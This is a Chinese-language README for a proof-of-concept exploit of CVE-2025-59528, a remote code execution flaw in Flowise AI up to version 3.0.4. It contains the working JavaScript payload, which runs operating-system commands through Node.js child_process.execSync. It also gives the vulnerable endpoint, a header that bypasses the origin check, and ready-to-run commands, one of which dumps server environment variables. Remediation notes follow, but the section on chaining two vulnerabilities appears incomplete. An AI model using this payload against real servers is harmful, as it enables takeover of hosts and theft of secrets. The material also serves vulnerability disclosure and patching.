
针对 CVE-2025-59528 的 Python PoC 漏洞利用,通过 customMCP 端点和 Node.js child_process.execSync 在 Flowise AI <= 3.0.4 上实现经过身份验证的 RCE。
CVE ID: CVE-2025-59528
受影响软件: Flowise AI
受影响版本: <= 3.0.4
修复版本: 3.0.5 及更高版本
严重程度: 严重
作者: arensballiu
日期: 2025
Flowise AI 3.0.4 及以下版本允许已认证用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在主机服务器上实现远程代码执行(RCE)。
customMCP 节点的加载方法接受用户控制的输入,并在服务端将其作为 JavaScript 执行,且缺乏充分的清理或沙箱隔离。通过注入利用 Node.js 的 child_process.execSync 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。
该端点还要求请求中包含 x-request-from: internal 请求头。
| 端点 | 方法 | 是否需要认证 | 用途 |
|---|---|---|---|
/api/v1/auth/login | POST | 否 | 认证并获取会话 |
/api/v1/node-load-method/customMCP | POST | 是(会话 cookie) | 存在漏洞的节点加载方法端点 |
文件: CVE-2025-59528_POC.py
requests 库pip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| 标志 | 长格式 | 是否必需 | 描述 |
|---|---|---|---|
-e | --email | 是 | 已认证用户的电子邮件地址 |
-i | --url | 是 | Flowise 实例的基础 URL |
-p | --password | 是 | 已认证用户的密码 |
-c | --cmd | 是 | 要在服务器上执行的操作系统命令 |
验证代码执行:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
获取服务器环境变量:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
该漏洞利用会将以下 JavaScript 表达式注入到 mcpServerConfig 字段中:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - 加载 Node.js 内置的进程执行模块。execSync('<command>') - 同步执行攻击者提供的操作系统命令。请求中还附加了 x-request-from: internal 请求头,以通过原本会阻止该调用的内部来源检查。
customMCP 端点将用户提供的输入直接传入服务器上的 JavaScript 求值上下文,既未进行清理,也未进行沙箱隔离。再加上可通过 process.mainModule.require 不受限制地访问 Node.js 核心模块(特别是 child_process),这就构成了一个可轻易利用的 RCE 攻击向量。x-request-from 请求头检查并未提供任何有意义的安全边界,因为它没有针对任何可信来源进行验证。
这两个漏洞可以链式组合,形成针对运行 <= 3.0.4 版本的 Flowise 实例的未认证 RCE 攻击路径:
vm2、隔离上下文,或移除对 process.mainModule 的访问)限制对危险 Node.js 模块(child_process、fs 等)的访问。x-request-from 请求头。本概念验证仅出于教育和经授权的安全研究目的提供。在未获得明确书面许可的情况下对系统使用此脚本是非法的,也是不道德的。作者和贡献者对任何滥用行为不承担任何责任。